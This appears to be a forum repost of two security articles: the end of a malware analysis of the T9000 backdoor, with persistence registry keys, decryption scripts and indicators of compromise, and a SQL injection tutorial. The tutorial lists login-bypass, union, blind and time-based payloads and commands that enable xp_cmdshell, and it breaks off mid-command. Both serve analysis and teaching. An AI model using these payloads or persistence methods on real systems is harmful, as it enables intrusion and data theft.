: AhnLab 0x00000020 : JiangMin 0x00000010 : Tencent 0x00000004 : Avira 0x00000008 : Kaspersky 0x00000002 : Rising 0x00000001 : 360 So, for example, if both Trend Micro and Sophos were discovered on a victim machine, the resulting value would be 0x08000800. This numerical value is written to the following file: %APPDATA%\Intel\avinfo The malware proceeds to drop the following files to the %APPDATA%\Intel directory: Additionally, the following two files are written to the Data directory: The following table provides a description of each file dropped: File Name Description ~1 Debug information about files used by malware. avinfo Installed security products on victim. hccutils.dll Malicious DLL. Loads ResN32.dll. hccutils.inf Malicious INF file. Points to hccutils.dll. hjwe.dat Encrypted core of malware family. igfxtray.exe Legitimate Microsoft executable. Loads hccutils.dll. qhnj.dat Encrypted plugin. Hooks a number of functions and logs results. QQMgr.dll Malicious DLL. Sets persistence via Run registry key. QQMgr.inf Malicious INF file. Points to QQMgr.dll ResN32.dat String pointing to path of encrypted core of malware. ResN32.dll Malicious DLL. Decrypts, decompresses, and loads core malware. tyeu.dat Encrypted plugin. Takes screenshots and collects Skype information. vnkd.dat Encrypted plugin. Finds files on removable drives on victim machine. dtl.dat Encrypted configuration information. glp.uin Plugin configuration information. You’ll notice that QQMgr* files are not listed in the original malware execution flow diagram. In the event the victim is running any of the following operating system versions, as well as either Kingsoft, Filseclab, or Tencent security products, the malware will be installed using an alternative method. Windows 2008 R2 Windows 7 Windows 2012 Windows 8 In such a situation, the malware will find and run the built-in Microsoft Windows InfDefaultInstall.exe program, which will install a DLL via an INF file. Should Tencent be installed, the malware will execute the InfDefaultInstall.exe program with an argument of ‘QQMgr.inf’. Otherwise, it will use ‘hccutils.inf’ as an argument. QQMgr.inf will install the QQMgr.dll, while hccutils.inf will install the hccutils.dll library. QQMgr.dll will set the following registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Eupdate – %APPDATA%\Intel\ResN32.dll The QQMgr.dll file has the following debug string found within it: H:\WORK\PROJECT\InfInstallBypassUAC\Release\BypassUAC.pdb The hccutils.dll file is described later within this post. After the malware drops the required files, by default the malware will spawn %APPDATA%\Intel\igfxtray.exe in a new process, which begins the second stage of the malware’s execution. Stage 2 The igfxtray.exe is a legitimate Microsoft Windows executable that sideloads the malicious hccutils.dll DLL file. This DLL has the following debug string embedded within it: D:\WORK\T9000\hccutils_M4\Release\hccutils.pdb Upon loading this malicious DLL, the malware will initially perform the same queries for security products that were witnessed in stage 1. Three separate techniques for starting stage 3 are used depending on the properties of the victim. The first technique is used if the victim meets the following criteria: Microsoft Windows 8 / Windows Server 2012 R2 DoctorWeb security product installed For this situation, the following registry key is set: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – %SYSTEM%\rundll32.exe %APPDATA\Intel\ResN32.dll Run This ensures that the ResN32.dll library will be run using the ‘Run’ exported function whenever the machine is rebooted. The second technique is used if the victim meets any of the following sets of criteria: Microsoft Windows 8 / Windows Server 2012 R2 Not running Kingsoft, Tencent, or DoctorWeb security products Microsoft Windows XP or lower No security products installed, or running any of the following: Sophos GData TrendMicro AhnLab Kaspersky In these situations, the following persistence technique is used. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1 Setting these registry keys both enables the AppInit_DLL functionality, and ensures that every user mode process that is spawned will load the ResN32.dll library. More information about this can be found here. The third technique is used in any other situation. When this occurs, the malware will first identify the explorer.exe process identifier. It proceeds to inject the ResN32.dll library into this process. At this point, the third stage of the malware family is loaded. Stage 3 The third stage begins when the ResN32.dll file begins operating. This file contains the following debug string: D:\WORK\T9000\ResN_M2\Release\ResN32.pdb The ResN32.dll library begins by spawning a new thread that is responsible for the majority of the capabilities built into this sample. This thread begins by checking the operating system version, and once again runs a query on the various security products installed on the victim machine. Under certain conditions, the following registry key is set, ensuring persistence across reboots: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – c:\windows\system32\rundll32.exe %APPDATA\Intel\ResN32.dll Run Following this, a new thread is created that is responsible for deleting previously written files. This thread creates the following mutex: Global\\deletethread It proceeds to attempt to delete the following files in an infinite loop until said files have been deleted: %STARTUP%\hccutils.dll %STARTUP%\hccutil.dll %STARTUP%\igfxtray.exe The ResN32.dll malware proceeds to read in the ResN32.dat file that was previously written to disk. This file contains a path to the hjwe.dat file, which is subsequently read in. The data within the hjwe.dat file is decrypted using the RC4 algorithm, and subsequently decompressed using the LZMA algorithm. The following script can be used to decrypt the hjwe.dat file, along with the plugins that will be discussed later. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import sys, pylzma from base64 import * from binascii import * from struct import * def rc4( data , key ): S = range(256) j = 0 out = [] for i in range(256): j = (j + S + ord( key[i % len(key)] )) % 256 S , S[j] = S[j] , S i = j = 0 for char in data: i = ( i + 1 ) % 256 j = ( j + S ) % 256 S , S[j] = S[j] , S out.append(chr(ord(char) ^ S[(S + S[j]) % 256])) return ''.join(out) f = open(sys.argv[1], 'rb') fd = f.read() f.close() bytes_0_4, bytes_4_8, bytes_8_12, bytes_12_16 = unpack("<IIII", fd[0:16]) if bytes_0_4 == 0xf7e4aa65: length = bytes_8_12 if len(fd)-16 != length: print "[*] Possible error reading in length of data." key_size = 260 key = fd[16:16+key_size] data = fd[16+key_size:] decrypted = rc4(data, key) decompressed = pylzma.decompress_compat(decrypted) f1 = open(sys.argv[1]+".decompressed", 'wb') f1.write(decompressed) f1.close print "[+] Wrote %s" % (sys.argv[1]+".decompressed") After this file has been decrypted and decompressed, it is written to a file in the %TEMP% directory with a file prefix of ‘____RES’. This file, which contains a Windows DLL, is then loaded into the current process. After the malicious library has been loaded, the previously written temporary file is deleted. This begins the last stage of the malware, which will load the core of the malware family. Stage 4 Once the decrypted and decompressed hjwe.dat file is loaded, it begins by checking its parent process against the following list. If the parent process matches the following blacklist, the malicious DLL will exit without performing any malicious activities. winlogon.exe csrss.exe logonui.exe ctfmon.exe drwtsn32.exe logonui.exe explore.exe System Dbgview.exe userinit.exe lsass.exe wmiprvse.exe services.exe inetinfo.exe avp.exe Rtvscan.exe The malware proceeds to collect the username of the victim, as well as the operating system version. It then compares its parent process against the following list of executables: winlogon.exe csrss.exe logonui.exe ctfmon.exe drwtsn32.exe logonui.exe System Dwm.exe QQPCRTP.exe Tasking.exe Taskhost.exe Taskmgr.exe Dbgview.exe suerinit.exe lsass.exe wmiprvse.exe services.exe inetinfo.exe avp.exe Rtvscan.exe Notice the repeated check for the ‘logonui.exe’, as well as the overlap with the previous parent executable check, which implies sloppiness by the malware author. After these checks are performed, the following mutex is created. Global\\{A59CF429-D0DD-4207-88A1-04090680F714} The following folders are then created: utd_CE31 XOLOADER Update The path of these folders is determined by the version of Microsoft Windows running. The following possibilities exist: %ALLUSERSPROFILE%\Documents\My Document\ %PUBLIC%\Downloads\Update\ At this point, the malware will read in the dtl.dat file, which contains configuration data. Data contained with this file starting at offset 0x20 is xor-encrypted using a single-byte key of 0x5F. The following script can be used to extract the IP address and port for the C2 server from this file. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from struct import * import sys, socket def int2ip(addr): return socket.inet_ntoa(pack("!I", addr)) config_file = sys.argv[1] f = open(config_file, 'rb') fd = f.read() f.close() decrypted = "" for x in fd[32:]: decrypted += chr(ord(x) ^ 0x5f) port = unpack("<I", decrypted[4:8])[0] ip = int2ip(unpack(">I", decrypted[8:12])[0]) print "IP Address : %s" % ip print "Port : %d" % port The malware will then read in and parse the included plugin configuration information, which is found within the glp.uin file that was previously dropped. These included plugins are encrypted and compressed using the same method witnessed by the hjwe.dat file previously. The previously included script can be used to decrypt and decompress the following three plugin files: tyeu.dat vnkd.dat qhnj.dat These three plugins are subsequently loaded after being decrypted and decompressed. An overview of these plugins can be found later in this post. The malware proceeds to create the following event: Global\\{34748A26-4EAD-4331-B039-673612E8A5FC} Additionally, the following three mutexes are created: Global\\{3C6FB3CA-69B1-454f-8B2F-BD157762810E} Global\\{43EE34A9-9063-4d2c-AACD-F5C62B849089} Global\\{A8859547-C62D-4e8b-A82D-BE1479C684C9} The malware will spawn a new thread to handle network communication. The following event is created prior to this communication occurring: Global\\{EED5CA6C-9958-4611-B7A7-1238F2E1B17E} The malware includes proxy support in the event that the victim is behind a web proxy. Network traffic occurs over a binary protocol on the port specified within the configuration. Traffic is xor-encrypted with a single-byte key of 0x55 in an attempt to bypass any network security products that may be in place. Once decrypted, the following traffic is sent by the malware. Figure 1: Decrypted data sent by malware As we can see from the above image, the malware will send out an initial beacon, followed by various collected information from the victim machine. The following information is exfiltrated: Installed security products System time Build Number CPU Architecture (32-bit/64-bit) MAC Address IP Address Hostname Username Parent executable name Plugin configuration information The malware is configured to receive a number of commands. The following command functionalities have been identified. Command Description DIR Directory listing LIR Drive listing RUN Execute command (Either interactively or not) CIT Send command to interactively spawned command CFI Kill interactively spawned process DOW Download file UPL Upload file DEL Delete file DTK Retrieve statistics for file ERR Null command Additionally, the following commands have been identified, however, their functionalities have yet to be fully discovered. PNG PLI PLD FDL OSC OSF SDA QDA TFD SDS SCP FMT STK CRP Plugin #1 – tyeu.dat When this plugin is called with the default exported function, it will create the following mutex: {CE2100CF-3418-4f9a-9D5D-CC7B58C5AC62} When called with the SetCallbackInterface function export, the malicious capabilities of the plugin begin. The plugin begins by collecting the username of the running process, and determining if it is running under the SYSTEM account. If running as SYSTEM, the plugin will associate the active desktop with the plugin’s thread. The plugin proceeds to create the following named event: Global\\{EED5CA6C-9958-4611-B7A7-1238F2E1B17E} Multiple threads are then spawned to handle various actions. The first thread is responsible for taking a screenshot of the desktop of the victim machine. This screenshot data is both compressed and encrypted using a single-byte xor key of 0x5F. This data is written to one of the following files: %PUBLIC%\Downloads\Update\S[random].dat %ALLUSERSPROFILE%\Documents\My Document\S[random].dat The random data is generated via the current system time. Additionally, when a screenshot is written, one of the following log files has data appended to it: %PUBLIC%\Downloads\Update\Log.txt %ALLUSERSPROFILE%\Documents\My Document\Log.txt Figure 2: Example data found within Log.txt file A second thread is responsible for monitoring the foreground window every 20 seconds. The thread will target the window names set within the plugin configuration. In this particular instance, the malware will target the ‘notepad’ process. When this process is discovered to be running in the foreground window, the malware will take a screenshot of this window. The data is compressed and encrypted using a single-byte xor key of 0x5F. This data is written to one of the following files: %PUBLIC%\Downloads\Update\W[random].dat %ALLUSERSPROFILE%\Documents\My Document\W[random].dat Like the previous thread, this one attempts to write another log file to the disk. However, due to a bug within the code of this plugin, the malware author attempts to append the ‘C:\\Windows\\Temp\\Log.txt’ string to the path, resulting in an inaccessible file path. In the event this bug did not exist, the following example data would be written: 08:37:49 2000 [4] PrintKeyTitleWnd: ===>> Process ID : 2000 The third and final thread spawned by this plugin is responsible for collecting information from the Skype program. The malware will use the built-in Skype API to accomplish this. This only takes places if both Skype is running and the victim is logged into Skype. It makes calls to the following functions: SkypeControlAPIDiscover SkypeControlAPIAttach When hooking into the Skype API, the victim is presented with the following dialog: Figure 3: Skype API access request The victim must explicitly allow the malware to access Skype for this particular functionality to work. However, since a legitimate process is requesting access, the user may find him- or herself allowing this access without realizing what is actually happening. Once enabled, the malware will record video calls, audio calls, and chat messages. Audio and video files are stored in the following folder: %APPDATA%\Intel\Skype Temporary audio and video files are stored within the audio and video sub-folders respectively. After a call is finished, this data is compressed and encrypted using the same techniques previously witnessed. These files are stored in randomly named .dat files within the Skype folder. When decrypted, we can see that the malware periodically takes images of the video calls. Audio calls are stored as .wav files. Figure 4: A lonely malware reverser is captured on video by the malicious plugin The original name for this plugin is ‘CaptureDLL.dll’. This is aptly named, as we see that this plugin has the following functionality: Capture full desktop screenshots Capture window screenshots of targeted processes Capture Skype audio, video, and chat messages Plugin #2 – vnkd.dat The vnkd.dat plugin has the following debug path, leading us to believe that the original name for this plugin is ‘FlashDiskThief’: e:\WORK\Project\T9000\Windows\Target\FlashDiskThief.pdb When loaded with the default DllEntryPoint exported function, it will create the following mutex: Global\\{6BB1120C-16E9-4c91-96D5-04B42D1611B4} Like the other plugins associated with this malware, the majority of the functionality for this malware resides within the SetCallbackInterface exported function. This function spawns a new thread that begins by registering a new window with a class name and window name of ‘xx’. The plugin proceeds to iterate through all connected drives on the system, looking for removable drives. Figure 5. Plugin check for removable drives Should a removable drive be discovered, the plugin will seek any files residing on this device based on the plugin’s configured list. In this particular instance, the malware will seek out the following file types: *.doc *.ppt *.xls *.docx *.pptx *.xlsx If one of these file types is found, the malware will create a copy of the file in one of the following paths: %PUBLIC%\Downloads\Update\D[random].tmp %ALLUSERSPROFILE%\Documents\My Document\D[random].tmp The data found within this file is encrypted using a single-byte xor key of 0x41. The file header structure, with the underlying data still encrypted, can be seen below. Figure 6: File structure prior to decryption Figure 7: File structure post decryption This concludes the functionality of the vnkd.dat plugin, or FlaskDiskThief as it’s known by the malware’s author. While specific in nature, this plugin allows attackers to collect files being passed around from one machine to another via removable drives. Plugin #3 – qhnj.dat This particular plugin appears to have an original filename of ‘kplugin.dll’ due to debugging information found within the file. The qhnj.dat plugin is responsible for hooking a number of common Microsoft Windows API calls, and logging the results. The following functions are hooked by this plugin: ImmGetCompositionStringA ImmGetCompositionStringW CreateFileW DeleteFileW CopyFileExW MoveFileWithProgressW CreateDirectoryW CreateDirectoryExW RemoveDirectoryW GetClipboardData CryptEncrypt CryptDecrypt The plugin is most likely hooking the ImmGetCompositionString* functions in order to collect information about Unicode characters on the victim machine, such as Chinese, Japanese, and Korean. Hooking the various file and directory operations allows the malware to log what file changes are occurring on the system. When a file is created, copied, moved, or deleted on the system, the malware will check the directory of said file against the following blacklist: \\\\.\\ :\\program files\\ \\AppData\\ \\temporary internet files\\ \\application data\\ \\Local Settings\\ \\cookies\\ \\temp\\ \\history\\ Additionally, the filename is compared against the ‘.tmp’ extension to ensure a temporary file is ignored. Should the file meet the required criteria, this data is logged. Additionally, all folder modifications and clipboard data are logged as well. The Crypt* functions allow the malware to collect sensitive encrypted data sent to and from the victim machine. This is especially useful when viewing network traffic, allowing the attackers to potentially gain access to remote systems used by the victim. All of the data logged by the qhnj.dat plugin file is stored in one of the following file paths. Data is encrypted using a single-byte XOR key of 0x79. %PUBLIC%\Downloads\Update\uai[random].tmp %ALLUSERSPROFILE%\Documents\My Document\uai[random].tmp This last plugin allows the attackers to record important actions taken by the victim, which in turn may allow them to gain additional access as well as insight into the victim’s actions. Conclusion T9000 appears to be the latest version of this Trojan, which has been partially exposed in previous reports. In 2013, Cylance published a report on a group they named “Grand Theft Auto Panda”, which includes some details on the T5000 version of this Trojan. FireEye researchers also noted that the malware was used in an attack in 2014 using a lure related to the disappearance of Malaysian flight MH370. The author of this backdoor has gone to great lengths to avoid being detected and to evade the scrutiny of the malware analysis community. We hope that sharing the details of how this tool works as well as the indicators in the section below will help others defend themselves against attacks using this tool. In a future report, we will detail the infrastructure used by the variants of the malware we have identified and discuss the methods attackers use to infect systems with it. Palo Alto Networks customers are protected from T9000/T5000 attacks through our next-generation security platform, including the following. Threat Prevention signatures for the software vulnerabilities listed in this report are available to detect the exploit files during delivery. Traps is capable of preventing exploitation of the vulnerabilities exploited to install T9000. WildFire classifies all of the malware described in this report as malicious. Anti-malware signatures for the files listed in this report. AutoFocus users can identify the malware discussed in this report with the T5000 tag Indicators of Compromise Hashes RTF File, d5fa43be20aa94baf1737289c5034e2235f1393890fb6f4e8d4104565be52d8c QQMGr.dll, bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f QQMGR.inf, ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a ResN32.dat, aa28db689f73d77babd1c763c53b3e63950f6a15b7c1a974c7481a216dda9afd ResN32.dll, 1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 hqwe.dat, bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b hqwe.dat.decrypted, 7daf3c3dbecb60bee3d5eb3320b20f2648cf26bd9203564ce162c97dcb132569 hccutils.dll, 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 hccutils.inf, f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 igfxtray.exe, 21a5818822a0b2d52a068d1e3339ed4c767f4d83b081bf17b837e9b6e112ee61 qhnj.dat, c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 qhnj.dat.decrypted, 2b973adbb2addf62cf36cef9975cb0193a7ff0b960e2cff2c80560126bee6f37 tyeu.dat, e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 tyeu.dat.decrypted, 5fc3dc25276b01d6cb2fb821b83aa596f1d64ae8430c5576b953e3220a01d9aa vnkd.dat, c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 vnkd.dat.decrypted, 157e0a9323eaaa911b3847d64ca0d08be8cd26b2573687be461627e410cb1b3f dtl.dat, 00add5c817f89b9ec490885be39398f878fa64a5c3564eaca679226cf73d929e glp.uin, 3fa05f2f73a0c44a5f51f28319c4dc5b8198fb25e1cfcbea5327c9f1b3a871d4 Mutexes 820C90CxxA1B084495866C6D95B2595xx1C3 Global\\deletethread Global\\{A59CF429-D0DD-4207-88A1-04090680F714} Global\\{3C6FB3CA-69B1-454f-8B2F-BD157762810E} Global\\{43EE34A9-9063-4d2c-AACD-F5C62B849089} Global\\{A8859547-C62D-4e8b-A82D-BE1479C684C9} {CE2100CF-3418-4f9a-9D5D-CC7B58C5AC62} Global\\{6BB1120C-16E9-4c91-96D5-04B42D1611B4} Named Events Global\\{34748A26-4EAD-4331-B039-673612E8A5FC} Global\\{EED5CA6C-9958-4611-B7A7-1238F2E1B17E} File Modifications %TEMP%\~tmp.doc %APPDATA%\Intel\avinfo %APPDATA%\Intel\Data\dtl.dat %APPDATA%\Intel\Data\glp.uin %APPDATA%\Intel\Data\ %APPDATA%\Intel\~1 %APPDATA%\Intel\hccutils.dll %APPDATA%\Intel\hccutils.inf %APPDATA%\Intel\hjwe.dat %APPDATA%\Intel\igfxtray.exe %APPDATA%\Intel\qhnj.dat %APPDATA%\Intel\QQMgr.dll %APPDATA%\Intel\QQMgr.inf %APPDATA%\Intel\ResN32.dll %APPDATA%\Intel\ResN32.dat %APPDATA%\Intel\tyeu.dat %APPDATA%\Intel\vnkd.dat %STARTUP%\hccutils.dll %STARTUP%\hccutil.dll %STARTUP%\igfxtray.exe %ALLUSERSPROFILE%\Documents\My Document\utd_CE31 %ALLUSERSPROFILE%\Documents\My Document\XOLOADER %ALLUSERSPROFILE%\Documents\My Document\update %ALLUSERSPROFILE%\Documents\My Document\Log.txt %PUBLIC%\Downloads\Update\utd_CE31 %PUBLIC%\Downloads\Update\XOLOADER %PUBLIC%\Downloads\Update\update %PUBLIC%\Downloads\Update\Log.txt %APPDATA%\Intel\Skype Registry Modifications HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Eupdate – %APPDATA%\Intel\ResN32.dll HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – %SYSTEM%\rundll32.exe %APPDATA\Intel\ResN32.dll Run HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs – %APPDATA%\Intel\ResN32.dll HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs – 0x1 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\update – c:\windows\system32\rundll32.exe %APPDATA\Intel\ResN32.dll Run Command and Control 198.55.120[.]143:8080 Sursa: http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/
  19. SQL Injection: Exploitation Published on February 9, 2016 By HollyGraceful on Injection, OWASP Top 10, Web Application Security Structured Query Language (SQL) is used all over the web and is potentially vulnerable to an injection attack any time that user input is insecurely concatenated into a query. An injection attack allows an attacker to alter the logic of the query and the attack can lead to confidential data theft, website defacement, malware propagation and host or network compromise. SQL and a SQL Injection Primer For those less familiar with SQL it is a language used for storing, retrieving, modifying and removing data from a database. It can often also be used to read or modify files on the remote system and execute operating system commands. There are many variations such as Microsoft SQL, MySQL or PostgreSQL. There are different query types in SQL, such as SELECT, INSERT, UPDATE and DELETE as well as the idea of “Stored Procedures”. These are used for retrieving data from the database (SELECT), adding new rows to a table (INSERT), taking a table row and modifying it (UPDATE) or removing rows from a table (DELETE). There are many different stored procedures however an interesting one is the MSSQL procedures xp_cmdshell which can be used for executing commands on the remote database host. SELECT Statements retrieve data from the database and look like: SELECT column FROM table WHERE condition is true For example the following could be used for a login system: SELECT username,password FROM users WHERE username='$INPUT1$' AND password='$INPUT2$'; Where $INPUT1$ and $INPUT2$ is text taken from the user of the application. Statements are separated by semi-colons, so two statements could be “stacked” and executed one after the other by separating them with a semi-colon. Developers can add comments into a statement by preceding the comment with a ” −− ” before the comment, which makes the SQL parser ignore any following text. The above statement concatenates user input into the query and is therefore vulnerable to SQL injection, as an attacker can simply add characters within $INPUT1$ or $INPUT2$ to alter the logic of the statement. Taking this into account an attacker could utilize the following payload for INPUT1 to cause a login bypass: x’ OR 1=1 −− This works as the input would change the command to the following: SELECT username,password FROM users WHERE username='x' OR 1=1 -- ' AND password='$INPUT2$'; As you can see from the above, the double dash has caused the password check to be “commented out” so that it has no effect. Also if you remember back to the first SQL command I showed highlights that the SELECT statement evaluates the WHERE clause to determine if it is a Boolean true. That’s what the OR 1=1 part of the input achieves, as one always equals one. The effect on many applications that are vulnerable to SQL injection in the login form is that all account data will be returned and the database will simply log in the attacker in as the first user in the database. As you can see the attacker has altered the intended logic of the statement and they could use this to bypass authentication, cause the database to leak confidential information or even execute functions such as executing operating system commands. Many times it can be tempting to leave SQL exploitation down to automated tools, but I recommend all juniour Penetration Testers get as deep into manual exploitation as they possible can so that they can really understand what the tool is up to, especially in preparation for the day that the tool fails and you’ve got to crack a can of caffeine and do it all manually. Detecting Vulnerable Functions Detecting SQL injection is fairly simple if errors are enabled and displayed in raw form to the user. If an attacker adds an apostrophe the the input it will cause an unbalanced number of quote marks and an error like “You have an error in your SQL syntax” will be shown, great you have a valid SQL injection point, however if errors are customized or simply not rendered to the user then you have to try a little harder! the most effective way to do this is to alter the query in such a way that it could only possibly be that you have successfully injected into SQL. So very SQL-like syntax being parsed in the expected way. Consider he following query which loads a news article from the database to display on an fictitious web application: SELECT id,title,content FROM tblArticles WHERE id=$input Which is accessed through the following URL: http://sql.example.org/news?id=100 Now a simple way to determine is the parameter “id” is vulnerable to injection would be would be to try the following URLs and see how the server reacts: http://sql.example.org/news?id=100 http://sql.example.org/news?id=101 http://sql.example.org/news?id=101-1 If the server is appropriately vulnerable it would be expected that the first and second URL show different articles whereas the third one is evaluated by the database and produces the same output as the first URL. If the statement 101-1 is not evaluated then there’ll be a notable change in output. The above example, obviously, will only work on integer inputs, if the id parameter was instead a string input like this: http://sql.example.org/news?page=example With the above case it’s possible to utilize string concatenation in a similar way, where if the string is evaluated and concatenated then the output should not change whereas if it is no evaluated then a noticeable change in output will occur. The method of concatenation differs between back-end database types however if one works you have the added benefit of fingerprinting the database type! MSSQL: exa'+'mple With URLs a + is space, use %2b instead (URI encoded plus sign)! MySQL: exa' 'mple (that's a space between two apostrophes) Oracle: exa'||'mple An additional way of detecting of detecting functions that are vulnerable is to concatenate a simple conditional at the end of the input, such as: AND 1=1 -- AND 1=2 -- The idea with these payloads is that the top option of 1=1 will not alter the logic of the query in anyway (as 1 does in fact equal 1) although the second payload will break the query and therefore the application would operate in a noticeably different way, such as missing text on the page (and therefore a shorter content length), a faster response time, a visible error or a different status code. The application should also have the same effect regardless of what the conditional was, so 1=1, 2=2 and 3=3 should all have the same effect, as should payloads such as: AND (SELECT @@version)=(SELECT @@version) -- The above payload is useful because its very SQL-like and whilst there may be some application logic which interprets 1=1 it’s very unlikely that outside of a SQL injection context you’ll get the same response from the above payload. It’s important to note however, that this payload is vendor specific, so the above will work on MSSQL and MySQL but not PostgreSQL. There’s a suitable payload for each of the backends however. The PostgreSQL equivalent would be: AND (SELECT version())=(SELECT version()) -- Types of Injection Whilst the above example is a simple demonstration of SQL and how injection can be use to the benefit of an attacker, as the attacker has the full flexibility of SQL at their disposal there is much more that they can do than simply bypassing an application’s login form. There are different types of injection covered within this article are: Boolean Error Union Stacked Time In terms of injection it’s not exactly a case of preference but simply what is available in the context of the vulnerable parameter. You’ll definitely prefer to find Union or Error based over Boolean and Time based due to the effort levels required to exploit them but you’ll have to deal with what you’re given when it comes down to it. Different injection types will be available depending on the original query which you are injecting into as well as any filters that are in place to prevent malicious input. Exploitation There are five injection types and I’ll cover them each in turn, once you get the hang of the first however the others operate much as you’d expect but I’ll run through a full working example of each to make sure there’s no important details missed out, plus it’ll show how I generate payloads and build up from detection to data exfiltration. Error Based Error-based SQL injection comes about when errors from the SQL database are exposed to the attacker by being embedded in application responses. Detection is generally as simple as placing an apostrophe in the parameter an you’d receive an error along the lines of: Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string The exact error depends on the backend database. These errors can be controlled and by crafting input you can cause the error to contain data from the database itself. For example, if you are injecting into an integer input you can cause a type clash which will disclose information like this: AND 1 in (SELECT @@version) with input like this you’ll get an error along the following lines: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP1) - 10.50.2500.0 (X64) Jun 17 2011 00:54:03 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.2 <X64> (Build 9200: ) (Hypervisor)' to data type int. This works as the database attempts to convert the string to an integer, cannot, and throws an error that reveals the information. This means that an attacker can place any select statement that returns a string within the brackets of the payload and the error will contain the desired output. However it’s a touch more complex if you’re injecting into a string, but only a touch. As you couldn’t cause a cast error by converting to an integer you can expand the payload to be something along these lines: AND 1 IN (SELECT 'Extract:' + CAST((SELECT 1) as varchar(4096))) -- Here you can replace (SELECT 1) with the SQL statement you would like to execute and retrieve the contents from. The way that this injection works is to concatenate the desired data onto the end of the string “Extract” and then attempts to cast that to an integer which causes an error, so in the case of the example the resulting error would be: Error Type: Microsoft SQL Native Client (0x80040E07) Conversion failed when converting the varchar value 'Extract:1' to data type int. So an attacker can effective run arbitrary SQL statements and capture the output easily if errors are embedded within the application. If errors are gracefully handled however this doesn’t stop an attacker completely, they just have to use a different injection technique. Union Based The UNION operator allows two or more SELECT statements to be combined, the idea being that a developer may run a query such as listing all of the products available in a store and an attacker can combine this with an additional query, such as listing all of the usernames and passwords in the customers table. To utilise a union though the attacker must request the same number (and type) as the original query and therefore needs to know how many columns are being used. There are two ways to do this, the first is to use NULLs in place of the columns to determine how many columns there are, such as: UNION SELECT NULL -- UNION SELECT NULL, NULL -- UNION SELECT NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL -- UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL -- …and continue until you’ve determined how many columns there are – if you get the incorrect number of columns an error condition will occur and if you get the right number then the application will run unhindered. You can then swap out the NULL with datatypes to determine which ones are correct, such as: UNION SELECT 'abcd', NULL, NULL, NULL -- UNION SELECT 1, NULL, NULL, NULL -- Work them out one at a time until you end up with something like this: UNION SELECT 1, 'string', 'string', 'string' -- At this point you have a working SELECT statement where the output will be appended to the normal output the application gives! If you’ve got a lot of columns and writing out all of those NULLs is too much like hard work there’s another method of doing the original column count enumeration, using ORDER BYs. If you attempt to order by a column number which is higher than the number of columns it’ll throw an error. So you can start low and work up until you see an error: ORDER BY 1 -- ORDER BY 2 -- ORDER BY 3 -- ORDER BY 4 -- Blind Boolean If the application gracefully errors, and it’s not possible to combine queries with UNION, then an attacker can use inference to determine the answer to queries about the database. The payloads we used earlier to prove the existence of injection are simple examples of this: AND 1=1 -- AND 1=2 -- Essentially these are asking yes or no questions of the database and the result shows the answer. “Does 1=1?” Yes of course it does and therefore the normal output of the application will be visible. “Does 1=2”? No it does not and therefore there should be a noticeable chance, this could be in the response length, time of execution, or HTTP response code (just like before). However we can expand up on this idea to ask more in-depth questions of the database, as long as we can phrase them as Yes/No questions. For example, “Is the first letter of the current user the letter ‘a'”? That’d look something like this: AND SUBSTR(SELECT user_name(), 1, 1)='a' -- We can cycle through: b, c, d, e until we get a “true” response – then move on to the second character and so on. A time consuming and request intensive process but it can be automated quite easily with python (or Burp Intruder!) Time-Based Blind If the application does not embed responses so you can’t use UNION, if it doesn’t show error messages an it’s not possible to determine the output of a boolean then there is still hope! If you can’t infer the output to a boolean through application responses you can add a notable difference yourself through time delays. Effectively using IF statements and delays you can ask the application “Does A=A? If so, please delay your response by five seconds and if not then immediately respond”. Then by detecting lag in the response you’ll get your answer! Simple…but very time consuming… A payload like this will work for MSSQL: IF('a'='a') WAITFOR DELAY '0:0:5' -- Then you can simply replace the ‘a’=’a’ with whatever yes/no question it was that you’d like to ask. Stacked Queries (and possibly command execution!) A final thing which is worth noting, is that it may be possible to close off the developers query and start a completely new query from scratch, something as simple as: ; WAITFOR DELAY '0:0:5'; -- If this works you’ll get a delay as you did in the previous example, however as you’re able to execute new full queries it is also potentially possible to execute stored procedures – such as xp_cmdshell on MSSQL. This stored procedure allows for the execution of operating system commands on the database server. There are two problems. The first problem is, on modern MSSQL servers xp_cmdshell is disabled by default…but you can re-enable it through SQL Injection! The second problem is that to execute this procedure, you probably need to be running as the sa user. If you’re lucky those and you are sa, here’s the steps to execute OS commands: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; Now that’s done, you can go ahead and use the xp_cmdshell: exec 